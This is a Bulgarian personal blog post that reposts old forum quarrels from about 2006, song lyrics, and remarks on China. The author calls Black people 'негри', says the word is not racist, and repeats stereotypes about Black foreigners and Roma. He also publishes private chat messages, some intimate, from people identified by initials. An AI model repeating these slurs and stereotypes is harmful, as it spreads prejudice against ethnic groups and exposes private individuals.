I'll run to tenderly hold you
but baby you won't be there
I don't wanna say goodbye for the summer
knowing the loneliness
so let us take a pledge to meet in September
and seal it with a kiss
Yes it's gonna be a cold lonely summer
but I feel the emptyness
I'll send you all my love
every day in a letter
Sealed with a kiss"
Няма вече такава романтика... въпреки че искам да обичам така отново, но никога не ме обичат, а ако има изключение, то ще е с невъзможност за поддържане на какъвто и да било контакт, както става в случая с Лунг Джюн-Хунг - най-голямата взаимна платонична обич, която съм имал и едва ли ще имам отново.
-
Понеже разчистваме компютъра, защото скоро ще го продаваме и припействам тук всякакви неща от едно време, които пазя като файлове. Ето и едно от 2006-та година, свързано с някаква беседа за комунизма:
"1. Проституцията е забранена и се преследва яко, а не само "про форма".
2. Не се продават порнографии на малолетни.
3. Не се допускат мутри, скинари и пр.
4. Малцинствата се толерират, ама не и дотам да не си плащат тока, като циганите в България!
5. Престъпността е много малка.
6. Никой не се прави на отворен по дискотеките, Нет-клубовете и пр. /като изключим западняците, особено повечето негри, които са си известни със своя вулгаризъм, ама вече на два пъти бяха санкционирани, поне в моето житие/.
7. Почти всички стоки са евтини и достъпни.
8. По телевизиите и радиостанциите не се дава приоритет на и не се създават такива песни от рода на "Ах банана, кеф ми стана щом го хвана!" или "Кръв повръщам,пари не връщам!"; "Искам да го сложа в путките на всички женки-женки!", т. е. народът не се оварварява!"
Пояснявам - по-сетне попаднах и на негри (използвам думата без всякакъв расистки контекст, в българския език това никога не е била расистка или обидна дума), които не бяха вулгарни, но, като цяло, най-много оплаквания в Китай си имаше и има от чужденци, които са с африкански произход, т. е. основно - негри. Напоследък има и от пакистанци, защото са все повече, покрай чуждестранните студенти. Но, като цяло, все по-малко условия има в Китай за чужденците в последните години, заради засилването на императоризацията и ксенофобията, най-общо казано.
За циганите - знам, по-сетне гледах в едно предаване, че има и такива, които си плащат тока; не бива да обвиняваме всички цигани за неплащане на ток или каквото и да е, за да не сме шовинисти.
След многобройните грешки на настоящия президент, който де факто, вече се императоризира, не всички стоки са евтини; престъпността също се поувеличи, както и агресивността. И малцинствата, и мнозинството започнаха да страдат от лошата политика - икономически, политически, културно... все по-трудно за бизнеса, за свободното споделяне на мнение и достъп до информация, все повече забрани, подтискане на протести и недоволни... Не случи Китай на лидер! Язък.
-
Тези, следващите, май са от същия период (2006 г.), а и явно са по темата:
" Тема A ЗАЩО НЕ КАЗВАШ, ЗА ОБИДИТЕ, КОИТО СИСТЕМНО МИ НАНАСЯШЕ ТУРЧИНА И ТЯ?
Понеже системно отбелязваш, че НЯМАМ ПРАВО ДА СЕ ОПЛАКВАМ, понеже имам комунистически символи.
Понеже системно премълчаваш, ако някой друг се опита да ме обижда (както в случая с нея и Турчинът, когото подкрепяш в антибългарската му пропаганда).
Понеже системно бягаш от дискусия с мене, а само ми спамиш темите и изчезваш...
Хората трябва да се досетят що за "личност" си!"
"A ти какво си?
Иначе описанието ,което си ми дал се отнася за родителското ти тяло, а не за мене, ясен ли съм?"
"Не се опитвай да правиш саркастични подмятания, ако обичаш! И на тебе, когато Кика С, беше започнала да ти лази по нервите не ти беше приятно, нали? Ама да съм вземал страна в спора ви? Така, че, ако не можеш да подкрепиш някой - поне си замълчи, за да не създаваш негативни емоции. Бъди положителен, а не отвратителен герой!"
"МНОГО ТОЧНО СИ ГО КАЗАЛА!
Точно така си е! Провокират ме, за да могат после да имат причини да се оплакват от мене. Ами като са толкова чувствителни, пък да не почват да се заяждат, бе! Който се заяжда, трябва да си носи последствията. Ще ми вика тя, че съм клиничен случай. И що? Щото й показах със статистка неща, които отричаше и побесня! А пък тази "личност" горският само чака фалове, за да направи така, че да ме няма, понеже не му изнасят някои истини, които казвам. Според него всички трябва да плюем комунизма и да възхваляваме Франция и извращенията. Не е познал!!!"
Много качества се искат за нормален, цивилизован спор. С нервност, простотия, удари под пояса и т. н. не стават нещата. Доста елементарни хора, наистина.
-
Ето така ме обучаваше един умен човек как се програмира през далечната 2006-та година.
<embed src="тук слагаш сорса на музиката">
<bgsounds src="адреса на аудиото"loop=-1> :)
-
:) Coding. 8)
-
Относно онази М., която хем не каза на време, че си има приятел, хем после сама ме прилъга да се върна при нея въпреки че аз се държах настрани, след като разбрах че наистина си има приятял (и пламна огромната виртуалната грешна любов), хем не ме послуша като така или иначе иска да си кръшка зад гърба на приятеля си виртуално поне да се пази, хем после аз съм виновен - ето, благодарение на една П., която ми препрати нещата:
1. "Наистина е много добре че си го копирал ама че нахалница е тая" (Копирам, за да не лъже, че тя е била чиста като бисер, а аз съм виновен. Друго си е да си има черно на бяло и да се знае истината.)
2. "Нямам за съжаление. Абе тя ми е писала нещо Сега ще видя кво е"
"Виж М. кво цми прати
П., последен опит от моя страна. Наистина внимавай с Бате Далайчо, моля те! И аз си мислех, че го познавам, вярвах му безрезервно. А той се оказа ужасен лицемер и предател. Няма да ти се мазня, както прави той, само ще ти кажа да внимаваш. Не се доверявай прекалено много, винаги имай едно наум що се отнася до човек, който не си виждала и не познаваш. Иначе ще се получи като с мен - много го уважавах и ценях, а сега го мразя повече от всеки друг човек на света.
Не се залъгвам, че няма да му кажеш за това, знам, че вече споделяш много с него и все пак те моля да не му казваш. Просто се пази, за твое добро е. Аз не съм ти враг. Напротив - опитвам се да те предпазя. Запомни думите ми..."
Значи тя играеше двойни игрички спрямо мен, спрямо гаджето си, а и може и спрямо други да е имало и това, ако не е лицемерие, то кое е? Ама аз съм лицемер. За предателството - веднага щом (поради наивността и глупостта й) нейният я хвана, демонстративно мина на негова страна, сряза ме от раз, все едно, че нищо не е било, почна публично да е агресивна и даже да пише на хората такива простотийки. Е, кой е предалелят?
Много зле...
Но, както се казва, млада е била, може по-сетне, да е жива и здрава, да се е понаучила на повече отговорност и морал, но кой знае? Някои се променят за добро, други не се променят, а трети се променят и за лошо.
-
Ето и конкретно какво сме се разправяли едно време онлайн, публично. Архивите говорят. ;D
Тя: "Споделям, че повече няма да споделям. Даже най-вероятно това е последният ми пост в този форум (единственият, в който пишех активно), но какво да се прави... Понякога просто е въпрос на чест."
Аз: "А беше ли въпрос на чест да ми кажеш:
а/ Че си имаш приятел, а не да криеш.
б/ Да ми кажеш, че това е И., който познавам.
в/ Да не ме връщаш (и то със сълзи на очи, когато исках да се разкарам и да не ви преча).
г/ Да не ми казваш, че искаш да танцуваш с мен, да се целуваш с мен, да правиш... с мен. Да ме омагьосваш с красивите си (и, както разбирам, ЛЪЖЛИВИ, думи) за ВЕЧНА ЛЮБОВ, ПРИКАЗНИ НОЩИ НА ПЛАЖА, КРАДЕНЕ НА ЧЕРЕН КОН и пр.?
Мисля, че няма нужда да продължавам, хората ще разберат и от малкото как съм бил една играчка в ръцете ти, която е отишла на боклука, когато по-страшната играчка ти скръцна със зъбки!Да не говорим, че МЕ УВЕРЯВАШЕ, КАК ТОЙ НИКОГА НЕ МОЖЕЛ ДА ТЕ ХВАНЕ, ЧЕ И ДА ТЕ ХВАНЕ НЕ ЖИВЕЕЛ У ВАС И НЕ ТИ БИЛ ГОСПОДАР! Не ти е господар, ама друг път!!! Владее си те със страх, а и с обич, безспорно, както си иска. И то затова ще се оплакваш доста, че не искал да те следва, а само ти трябвало да го следваш. Че той можел да излиза с приятели, а ти не и пр. ПРОСТО СИ ИМА ДОМИНАНТНИ ХОРА, а ти не си един от тях. ФАКТ, МОЯ МИЛА И ИЗГУБЕНА ВИРТУАЛНА..."
Тя: "Имаше едно хубаво момиче, Г. беше му името и може да е по-хубава от мен, ама аз си имам повече акъл май :)"
Аз: "ААААаааа, чакай малко сега. Дай да не говорим на хората зад гърба, като ги няма. ВЯРНО, ЧЕ И ТЯ ГО НАПРАВИ ТВОЯ НОМЕР ДА НЕ МИ КАЖЕ, ЧЕ ХОДИ С НЯКОЙ, ама то там на мене ми беше повече акъла, че я оставих...А с тебе не можах!!!!!!
а/ Защото ти плачеш повече от нея и ми късаш сърцето (популярен женски номер, но нали така е устроена мъжката психика, да се трогва от сълзи...)
б/ Защото не беше с толкова добро дар-слово и да ми пише примерно:
"Не, не е той човекът на живота ми!"
"Толкова се радвам, че слушаме тази песен заедно, няма иконка, която да изобрази чувствата ми!"
"В момента съм почти гола...топло ми е...Тази нощ, колкото и да е странно за мене, може всичко...говори ми, искам да те слушам..."
Останалото го спестявам, заради малките тука, И ТОВА Е ДОСТАТЪЧНО ДА СИ ВЗЕМАТ ПОУКАТА!"
Тя: "Причини за напускането ми:
1. Пфуу, как мразя да течее..."
Аз: "АБЕ ТЕЧЕ НЕЩО, АМА МИ СЕ СТРУВА, ЧЕ Е САМО ЛИЦЕМЕРИЕ И ПРЕДАТЕЛСТВО! Щото, съгласи се, не може до преди 10 часа да си говорила, че не можеш да се разделиш с мене, че никой не може да те хване и да ти забрани нищо, а после да ми кажеш - ами СБОГОМ! ТОЙ МЕ ХВАНА, НЕ МОГА ПОВЕЧЕ! ДВАМАТА СТЕ МИ МНОГО! (А преди това ТВЪРДЕШЕ, ЧЕ СЪМ БИЛ МНОГО ПОВЕЧЕ ОТ НЕГО, ЧЕ СЪМ БИЛ ТОЛКОВА СПЕЦИАЛЕН И, ЧЕ НЕ СИ ИСКАЛА ДА МЕ ИЗГУБИШ ЗА НИЩО НА СВЕТА! И какво ми каза? Че само Бронти ти е много (ако чете тука нека и той да види каква си, макар, че бих се спречкал с него, ако вземе да се прави на много отворен!), а на мене ми каза, че МОГА ДА ТЕ ОБИЧАМ, въпреки че си с И., нали? НАЛИ? "
Тя: "2. А лицемерието е още по-кофти."
"ДААААА, ТИ СИ МУ ТИПИЧНОТО ВЪПЛЪЩЕНИЯ, ДВУЛИКИЯТ ЯНУС РЯПА ДА ЯДЕ!!! :D Сигурен съм, че в Древния Рим, ако те бяха познавали тебе, щеше да е не Двуликият Янус, а Двуликата (даже ТРИ-ЛИКАТА) М.!"
Тя: "3. Лъжата... Без коментар."
Аз: "C'mon, babe!!! (Нали така ти е викал Бронтьо?)!!! КОЙ ЛЪЖЕ??? Я, АКО МИСЛИШ, ЧЕ ЛЪЖА, ДОПУСНИ И. ДА ТИ ВИДИ ХИСТЪРИТО НА КЮТО, ЗА ДА ПРЕЦЕНИ КОЙ ЛЪЖЕ ОТ ДВАМА НИ! АЗ НЕ ПАЗЯ ХИСТЪРИ, ПОНЕЖЕ СЪМ С ОЛЕКОТЕНА ВЕРСИЯ, А И ТОВА НЕ Е МОЙ ПРОБЛЕМ! ТИ ГО ПОКАЖИ, ЗА ДА ВИДИМ КОЙ ЛЪЖЕ! АКО СИ ТОЛКОВА ЧИСТА, КОЛКОТО ИГРАЕШ, НЯМАШЕ ДА ГО СПИРАШ ДА ТИ ЧЕТЕ ОФ-ЛАЙН СЪОБЩЕНИЯТА, НАЛИ? ТАКА, ЧЕ АКО СИ НАИСТИНА ДОБЛЕСТНА И С ЧЕСТ - НЕ КАЗВАЙ, ЧЕ АЗ ЛЪЖА! ОТ САМОТО НАЧАЛО ИМАШЕ САМО 2-МА ИЗЛЪГАНИ -
-аз
-двойно повече излъганият - И. (щото ужким за добро го метнах на върбата, че нямаме отношения, а ти даже не си мръдна пръста да ми кажеш, че ТОЙ ТИ Е ПРОСЛОВУТОТО ГАДЖЕ, А НЕ С.!)
ДАВАШ ЛИ СИ СМЕТКА, ЧЕ, АКО И. НЕ ТЕ БЕШЕ ХВАНАЛ С КУКИТАТА (щото аз все едно, че на стената говорех като ти давах акъл да се пазиш и то от човек като него, дето софтуеъра го има за закуска!) И ДО СЕГА ЩЯХМЕ ДА СИ ЧАТИМ И ВЕРОЯТНО ДА СЕ ВЛЮБВАМЕ ВСЕ ПОВЕЧЕ И ПОВЕЧЕ ЕДИН В ДРУГ?... Даваш ли си сметка, че не МОРАЛЪТ ТЕ КАРА СЕГА ДА МЕ ОБИЖДАШ ТАКА И ДА МУ ЗАСВИДЕТЕЛСТВАШ НЯКАКВА ВЯРНОСТ, а просто СТРАХЪТ И СРАМЪТ ОТ ТОВА, ЧЕ ТИ Е НАБИЛ В ОЧИТЕ ОБЩАТА НИ ЛЪЖА???... Явно не.. .Ами залъгвай се тогава. Особено, ако си вярваш..."
Тя: "4. Обичам ви твърде много за да гледам как ви се подиграват."
Аз: "Подигравал съм се ЗАРАДИ ТЕБЕ, ЩОТО БЯХ ТЪП ДА ТИ ПОВЯРВАМ НА ПРИКАЗКИТЕ, само на Бронти и веднъж на Петя!
След това обаче НА ПЕТЯ СЪМ СЕ ИЗВИНИЛ, а тя ми каза, че никога не ми се е сърдела! ДНЕС ЗА ПОРЕДЕН ПЪТ Й КАЗАХ, ЧЕ СЪЖАЛЯВАМ, ЧЕ НЕ СЪМ ТОЗИ ДОБЪР ЧОВЕК, КОЙТО БИ ТРЯБВАЛО ДА БЪДА! И се надявам да ме е разбрала! И ОТТУК НАСЕТНЕ НЯМА ДА ПОЗВОЛЯ НИТО ТИ, НИТО И. ДА Й СЕ КАЧВАТЕ НА ГЛАВАТА!"
Тя: "[size=18]Един съвет[/size] [/color]([size=24]специално за Петя и Ели[/size]) - ВНИМАВАЙТЕ :!: Не се лъжете, не се предоверявайте! Човек никога не знае от къде ще му дойде. А противоположностите се привличат - злото си търси каквото няма - невинност :!: "
Аз: "[size=18]Ама моля ти се!!! По-голямо зло от тебе - да си играеш толкова много месеци с мене, да лъжеш гаджето си И НАЙ-НАКРАЯ ДА ГО ПУСНЕШ ДА МЕ ОБИЖДА ПО КЮ-то, а ти да се правиш на СВЕТИЦА - няма и няма да има! Невинност си била...Тц-тц-тц! ДА ТИ ИМАМ САМОЧУВСТВИЕТО!!! А иначе гледам си проревнувала от Ели и Петя...Бреййййй.......спокойно, бе!!!
а/ Аз вече не съм ти никакъв, а и никога не съм бил, както се оказа!
б/ Те може да са си добри и сладки момичета, но аз не съм и възнамерявал да ги свалям!
в/ Що пък реши, че ти като си падаш по по-големи (даже възрастни като мене) и те ще вземат да се занимават с батковци??? (то на Петя даже за чичо ставам, ако бях само 1-2 години по-голям, щото според мене разлика от над 18 години вече е ЧИЧО, а не е БАТЕ!!!)
Наистина си странна станала. Не мога да те позная!!! Някой ден може да го използваш това с думите: "Ама, моля те, върни се при мене, бях го писала с опрян до челото пистолет!!!" (И не забравяй пак да плачеш, че иначе може и да не се вържа!)[/size]"
Тя: "И още едни последни думи. Всъщност даже ще цитирам:
Бай-бай, психи
"
Аз: "Аз пък ще цитирам твоите думи за него, щом като съм "психи":
(В отговор на въпроса ми за след 1 година!)
Ох, една година е много време, дотогава може и да не съм с И.!
Е, предвид тази ПРОГНОЗА, да смятаме ли, че след една година вече няма да съм "психи", а ще съм отново:
-"СЛАДУР"
-"БАТЕ"
-"МИЛИЧКО"? (Ако пропускам нещо, ще ме извиниш, гледам вече да изтривам от паметта си НИЩО-НЕ-ЗНАЧЕЩИТЕ-ТИ-ФРАЗЕОЛОГИИ!)"
Тя: "Целувки на всички, освен на психи и чаоо!"
Аз: ":lol: Аз получих достатъчно от тебе по АЙСИКЮТО, ако ми беше дала и сега, щеше да ми дойде много (и да е поредната проява на безотговорност към И., ако въобще схващаш значението и СМИСЪЛЪТ на тази дума (не на "И.", на по-предната дума!).
И така...в заключение, понеже обичаш испанския език и в отговор на това РАЗТАПЯЩО СЪРЦЕТО И ДУШАТА МИ "ПСИХИ" ( :D няма как да знаеш, че на гръцки значи "ДУШИЦА"), сега ще ти дам и твоето прозвище:
Никакви парцали и кукли вече! това е прекалено слабо за тебе! На теб най-подхождащото ти е:
:P ДВУЛИКАТА М. - "LA LOCA" :P
P. S. "И най-милата котка, когато бъде наранена, ще се превърне в опасен тигър!" (Китайска поговорка по "Сун Дзъ")
"Каквото повикало - такова се обадило" (Българска народна поговорка)
"Каквото посееш - това и ще пожънеш!" (Библейско!)
"Който сее ветрове - жъне вентилатори...НЕ БЕ! :lol: БУРИ БЕШЕ :lol: :lol: :lol: "
Иначе не се радвам, че си тръгваш така, но явно някой те притиска. Един ден (там след едната година или колкото си си дала срок) като го няма вече факторът ще се появиш тука и, ако не на мен, на други ще си кажеш кое как е било.
ИНАЧЕ ЗА МЕНЕ СИ ИСТОРИЯ...КАЗАХ ТИ ДА НЕ СЕ ЗАНИМАВАШ С МОЯ МИЛОСТ ДО НЯКОЙ СЛЕДВАЩ ЖИВОТ, НО...не се получава при тебе, а? А ужким ти първа ми каза "Сбогом" и после се правеше, че си с изключено АЙСИКЮ...(Едно агентче ми каза, че е говорило после с тебе и си била просто "Инвизибъл", ама ... ху кеърз? (ако мога и аз да цитирам бате И. :wink: )."
И още:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Абе обонятелни халюцинации трябва да са това, госпожице Ла Лока!
Иначе от О. съм видял само добро, за разлика от М.!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
По повод на някаква "Бау!" снимка.
Аз: "Ей, толкова е хубаво! Как ги правиш тези снимки, бе?! Наистина ставаш за "Нешънъл джиографик" по моето скромно мнение. :)"
Тя: "Какво усещам?! Пак ли взе та тече?! Пфууу, че да викнем някой техник... :?"
Аз: "Ало, Ла Локова, ако се престрашиш и да покажеш хистърито на разговорите ни И. ще се убеди, че колкото и на времена да съм го наричал "ръб" или нещо подобно в отговор на приказките ти как те тормозел психически и какви скандали ти правел, че си излизала, примерно с приятеля му над 6 часа, ВИНАГИ СЪМ КАЗВАЛ, ЧЕ ПРАВИ ХУБАВИ СНИМКИ, ДАЖЕ ТОВА ЗА "НЕШЪНЪЛ ДЖИОГРАФИК" си го говорихме с тебе и ти казах ДА МУ ГО ПРЕДЛОЖИШ, ама ти каза, че вече е опитвал, а след това и той го потвърди!
Как пък не те е срам да отричаш всичко?!?!
Ей сега на момента да ме покосят всичките мечтани от тебе болести, които мрачно ми пожелаваш в мрачното си съзнание, АКО ТОВА ВОДНО КОНЧЕ НАИСТИНА НЕ МЕ КЕФИ И СНИМКАТА МУ КАТО ЦЯЛО!
На И. съм му казал на ЛС, че заради тебе, може и да съм се изконфронтирал с него до крайност, НО ПОНЕ ТОВА МУ ИЗКУСТВО СЪМ ГО ПРИЗНАЛ! Така че и да се опитваш НИКЪДЕ няма да намериш кририка към СНИМАНЕТО МУ от моя страна, доколкото имам усещане за естетика! Толкоз!"
^^^^^^^^^^^^
Тя: "Аз всички ви обичам с изключение на една личност. Е, тъй като обаче не е тема за мразене, а за обичане, няма да споменавам :)
И да знаете, че ще продължа да си ви обичам, нищо че няма да се видим повече сигурно."
Аз: "Какво съвпадение! И аз обичам тука всички, с малки изключения, като има и едно МНОГО ГОЛЯМО, при него си е направо омраза, заради предателство, слабохарактерност, наивитет и много други качества, които се показаха само в една-единствена критична ситуация!
Е, тъй-като, обаче, не е тема за мразене, а за обичане (Абе Бронти си знае работата! :D ) да знаете, че ще продължа да си ви обичам и ЩЕ КОМПЕНСИРАМ ЧУДЕСНО ЛИПСАТА на гузно-заминаващите си (под очевиден и за късогледите, еднооките и напълно окьоравелите НАТИСК), като ви поствам материалчета за животни, хумор, новинки и пр.
Форумът с Бате Далайчо няма да умре, а само ще се развива!
КАЗАХ!
Може и да съм дошъл заради М. тука, но ОСТАВАМ, даже и, когато тя си заминава, КОЕТО Е ДОКАЗАТЕЛСВТО, ЧЕ ОТ ДРУГИЯ КРАЙ НА ЗЕМЯТА - вие:
-Алпинистчето
-Петето
-Шефката (чакай пак да ти се подмажа, О., че нали в това ме обвиняват все, под влияние на някакви обонятелни халюцинаторики :lol: )
-Елито
-Йелоу (аз заради него разказче пиша, щото е първият човек, който прояви интерес не само към поезията, ами и към прозата на Бате ви!)
- И ВСИЧКИ ОСТАНАЛИ, КОИТО СЕ ДЪРЖАТ ДОБРЕ!"
^^^^^^^^^^^
Пак аз, не помня в отговор на какво: "Mъча се да бъда максимално точен и,...Оо, получава се
Макар, че не бих могъл да бъда ОПТИМАЛНО точен, колкото едно хистъри на АЙСИКЮ, примерно..."
^^^^^^^^^^^^^^^^^^
Аз към И.: "Е, ти нали вече ме спря от твоя форум с репликата, че банването по лични мотиви било лошо, ама аз съм бил по-лош, понеже съм те излъгал, че си нямаме нещо с приятелката ти - М.?
Резонно възниква въпросът:
Тя като те е излъгала СЪЩО и като лъжеше и мене, подвеждайки ни в един период и двамата, ЩО НЕ СИ Я БАННАЛ И НЕЯ ОТ ТАМ?
Беше ми писал на лични, че каквото и да се случело - нямало да е от тебе, а сега нещо... НАЛИВАШ МАСЛО В ОГЪНЯ?! Тя пише, че "ТЕЧЕ", ти пък пишеш "СПРЕТЕ ТЕЧА, ЗА ДА Й ПОКАЖЕТЕ, ЧЕ Я ОБИЧАТЕ!" С такива селски изнудвания ОПРЕДЕЛЕНО не се получава, мъжки! Подценяваш интелигентността на хората тука!
Отделно, как да ти кажа, не си авторитетен, понеже си се държал грубичко доста пъти и е СМЕХОТВОРНО да даваш заповеди кой какво да спира във форум, който не е твой!!!
Така че, я, най-добре М.-цето да те спре тебе в досадните ти подхвърлянки и дръндърици тука, че да не стане така да се изненада и от още нещо повече, понеже ДВАМАТА МНОГО НАГЛО ГО РАЗДАВАТЕ НАПОСЛЕДЪК! А тя има какво да крие, извън хистърито на АЙСИКЮТО СИ! Мдаааа...Ама те светиците са така - изтъкани от тайни, особено, ако са ДЯВОЛИЦИ! А аз разбулвам тайните, като АНГЕЛ, макар и ПАДНАЛ...Колегиално така, нали разбираш? Иде ми отръки!
И знаеш, че не говоря празни приказки, нали? След като съм се ИЗВИНИЛ и ПОКАЯЛ за лъжата си - вече съм много прям с тебе иииииииииии, ако те не запрат, да се готвят за ПОСЛЕДНОТО ВАЛЕ (Това е асоциация с Бридж-белота!), и да внимават да няма и някой "белот" с "последно 10", понеже с тях ЧЕСТО се "излиза".
Тука се играе "ВСИЧКО КОЗ"...Затова предложението ми е - дайте да сме добрички, да си играем "БЕЗ КОЗ" и да не се налага да се употребяват валета, белоти и пр. How do you think about it, smart guy?
И ето една от любимите ми философски картини, ако ти - не, то поне М.-чето ще я разбере, нали...М.?
----------
И.: "e, явно ние двамата изчезваме...
не че аз ще липсвам на някого, ма за другият си помислете :roll:
хайде, дечица, тук други не влизат и без това, забавлявайте се...
моите съболезнования :wink:"
Аз: "Интересно как си изчезнал, като след този пости си писал и още един! :lol: Или ти си по традиция "ИНВИЗИБЪЛ"?
"Форум: Музика и кино Пуснато на: Нед Авг 20, 2006 1:22 pm Заглавие: Какво слушате в момента?
KoRn - Kill u"
За това говорим.
За липсването - ами как да липсваш, при положение, че не си положил и ГРАМ усилие да си приятен на хората тук, да си МАКСИМАЛНО полезен и т.н.?
За "другия" - ами то не е толкова лесно - хем я натискаш да се маха, хем пък очакваш и останалите да ти се връзват на акъла! ТИ СИ СТРАНЕН ТИП! ПРЕДИ АЗ ДА ПРОПИША ТУКА НИКАК НЕ СЕ ПОЯВЯВАШЕ! АМА ПОСЛЕ ВЗЕ ДА СЕ ВЯСВАШ, ЧЕ ДА НЕ БИ ДА ТИ ОТКРАДНА НЕЩО (макар, че помни от мене - НИКОЙ НЕ МОЖЕ ДА ТИ ОТКРАДНЕ МОМИЧЕТО, АКО ТО САМО НЕ СЕ ДАДЕ ЗА "ОТКРАДВАНЕ"! Жените, също като нас - са хора с ИЗБОР, ВОЛЯ, ЖЕЛАНИЯ, ЕМОЦИИ, а не просто...кукли!) И така, в един момент реши, че като можеш да натискаш психически едно момиче, можеш да командориш и целия форум! Ами не става така, пич, виждаш и е редно да се откажеш! А ужким жалкото ти чувство за чест беше решило да ми рече, че "каквото и да се случи вече, няма да е от мене"! ЕТО ТОВА Е ЛИЦЕМЕРИЕТО, КОЕТО ТИ МИ ПРОЕЦИРАШ на мене! Иначе, както си видял, изнудвания от селски тип не вършат работа!
Дечица били...ДОБРЕ БЕ, ГОЛЕМИЯ :lol: XX-ми набор кога пък стана толкова голям? И защо като си XX-ми набор, хора с 3 години по-малки от тебе са с по-високо IQ от тебе? :twisted: :twisted: :twisted: А за съболезованията - НЕДЕЙ! КАТО ТЕ НЯМА, ЩЕ Е ПРАЗНИК, А НЕ ПОГРЕБЕНИЕ!!! :D :D :D"
Както посочих по-горе, по-сетне и пред друга обща позната решил да обижда; не беше никак достоен човек, но както казах, тогава беше млад. Сега може и да има коренна промяна - някои се променят и към добро. Просто разсъждавам диалектически.
-
Разни беседи и спорове с разни татари и турчеещи се татари (български татари, изселили се в Турция татари, турски татари и пр.), от времето когато опитвам да правя форум с някои от тях:
1. Bатка, ти си човек, който бърка турци и татари, така че НИКАК не се учудвам, че ще се съгласиш ВЕДНАГА с някой, особено, пък, ако се афишира за турчин. Ехаааа, направо мед ти е капнало на сърцето, представям си...Да де, ама КЪДЕ Е ТВОЕТО МНЕНИЕ В СЛУЧАЯ? Не се ли усещаш, че си ниско-креативен и само казваш "това е хубаво-онова не е хубаво" или копи-пействаш нещо и... дотам... Да не говорим, че се опита да излъжеш и затова Аллах няма да те възнагради с нито една хурия! Да не говорим, че Джанна няма и да помиришеш, защото си жив шайтан (затова НЕ САМО АЗ, но МНОГО ХОРА напуснаха активното си участие тука), а в момента тази тема се е задвижила, щото някой е писал за МЕН. Разбираш ли за какво става дума?
Ти, примерно, можеш ли въобще да ми кажеш БЕЗ ДА МИСЛИШ ДЪЛГО колко видове татари има на този свят и да ми изброиш поне 6 от тях? Не можеш, нали? Е, къде тогава си тръгнал да се занимаваш с татарология?
2. И. да не се чуди кой го е писал горното - аз бях. За разлика от него не се крия и не правя манафски номерца!
А на тебе какво да ти кажа? ПРОМИВАТ МОЗЪК НЕ ИСТОРИЧЕСКИТЕ КНИГИ, А ТАЗИ ЧАСТ ОТ ТЯХ ИЗДАДЕНИ В ТУРЦИЯ, МОЙ!
То според част от вас даже Аспарух-хан е турчин, да не говорим за Атила и др. видни НАШИ предци. Да де, ама на такива бълвочи не вярват даже хора с ниско ниво на интелигентност като И.!
За расите - не съм ги критикувал, даже съм сложил, докато бях още админ тука, ТОПИК ПРОТИВ РАСИЗМА. Ама няма кой да мисли и да чете. Ако ми покажеш една дума против някоя раса, дето съм написал ще дам на И. мечтаните от него 5000 лева, дето не може да изкопчи от депутата, за да си купи компютър, камера и други неща за лично и обществено (да се надяваме) ползване!
Иначе се радвам, че си ми обърнал внимание, без да ти правя четки, ще отбележа, че за мое огромно съжаление част от турците сте МНОГО по-интелигентни от голяма част от нашите младежи като този джигит тука - И.-чо, дето даже бърка нас с вас. Да знаеш един път по Кюто какво ми изтърси!!! "Сигурно я познавам тази татарка, щото познавам всички турци там!" Да се чудиш и да се маеш!!!
И понеже не пиша тука често, а и И. не ме иска (опита се да ме лъже, мошеника, че "МНОГО ХОРА" били недоволни, че ми бил дал паролите на форума!) да знаеш, че, ако не ти отговоря ще да е по причина, че ме е баннал или ме е трил, а не, че не съм могъл нещо да кажа.
За обидите - аз не се обиждам лесно, даже се радвам да има малкко спорове - така се развива мозъкът, ама... отказал съм се от този сайт (щото на И. халюцинаторните "ХОРА" не ме искат), така че, ако искаш сериозне дебат, намери ме в china-corner.com там е играта, само че е на английски. Иначе тука при възможност и желание мога да пописвам докато мога, но ще е само в ДЪРА-БЪРА, за да си знаят останалите акайлари, че са направили грешка като са дали на И. да се прави на бин-башия тука (при положение, че и за он-башия не го бива). Ти си турчин, ще ме разбереш за какви военни единици ти говоря!
Хайде - хаир олсун!
3. Не става дума за молене, а за това, че си БЕЗЧЕСТЕН индивид, който се опита да ме баламосва с приказки от типа на това, че "МНОГО ХОРА" не били съгласни да съм тука. Да де, ама нали видя какво стана? "Многото хора" не пишат тука. А молене - моли се на Аллах, имаш нужда, понеже си греховен.
Аз съм напуснал и с това съм доказал, че при вас НАИСТИНА едната птичка правеше пролетта в момента, както виждаш сам си търсиш приказката, ама няма...
Щото то да си знаеш ТАТАРСКАТА култура, история, философия и пр., не е като да метлосваш по русенските дискотеки и да показваш импотентните си вербални напъни тука!
Гледам, че те е домързяло да изчистиш и флуднатите от приятелчето ти или от тебе самия никчета. Ами да, като го няма бате ти Далай - чирака да ти върши работата така ще е...
ИНАЧЕ ГОТОВ ЛИ СИ ДА КАЖЕШ НАЙ-ПОСЛЕ КОИ СА ТЕЗИ ХОРА, ДЕТО БИЛИ ПРОТИВ, ЧЕ СИ МИ ДАЛ АДМИНСКИТЕ ПРАВА ИЛИ ПАК ЩЕ СЕ ПРАВИШ НА УДАРЕН И НЕДОСТОЙНО ЗА ТАТАРИН ЩЕ МИ БЯГАШ ОТ ОТГОВОРНОСТ?
4. Не си отговорил на човека като те пита - "Какви са тези филми?"
Май вече ти е станало навик да не отговаряш, поради което си имаме дълбоки и основателни резерви за мнестичното ти ниво на Централната ти нервна система, акайджък.
Дано да се е пооправил и този другар! Все пак, с времето, хората се менят... дано да е станал по-честен и отговорен!
-
Ето, за баланс и обективност някои по-красиви моменти:
" Така, значи вижте какво сега. Повечето от нас се "зачатват" с доста хора. С някои си говорим общи и скучни приказки, с други си говорим за наука, с трети флиртуваме, а с четвърти направо потапяме сърцата и душите си в магията на словото.
Предлагам тука, всеки, който е бил очарован или РАЗ-очарован от нещо, да го пейстне, за да споделим заедно чувства, мисли и емоции. РАЗБИРА СЕ, не е нужно да казвате кой е авторът на хубавите/лошите редове, защото все пак всеки има право на дискретност (докато не наруши някои закони), а и, защото, ако са много красиви, и пленителни думите и е момиче някой Дон Жуан като Бате ви, ще го издири и после ще има проблеми :P :P :P
Разбира се, всички може да се включат с коментари - с подкрепа, критика или осъждане. :D
(И ДА ЗАМОЛЯ, АКО Е НА ЧУЖД ЕЗИК - примерно кака ви Офидия владее чужди езици и в случай, че реши да ни трогне с някой любим чат на сърбо-хърватски, ще е хубаво да преведе :wink: ).
Предоставям някои красиви реплики от последните няколко часа (със съкращения):
Х.Х. - Е, значи мъдро, си разбрал нещата и без моите думи, така трябва! :)
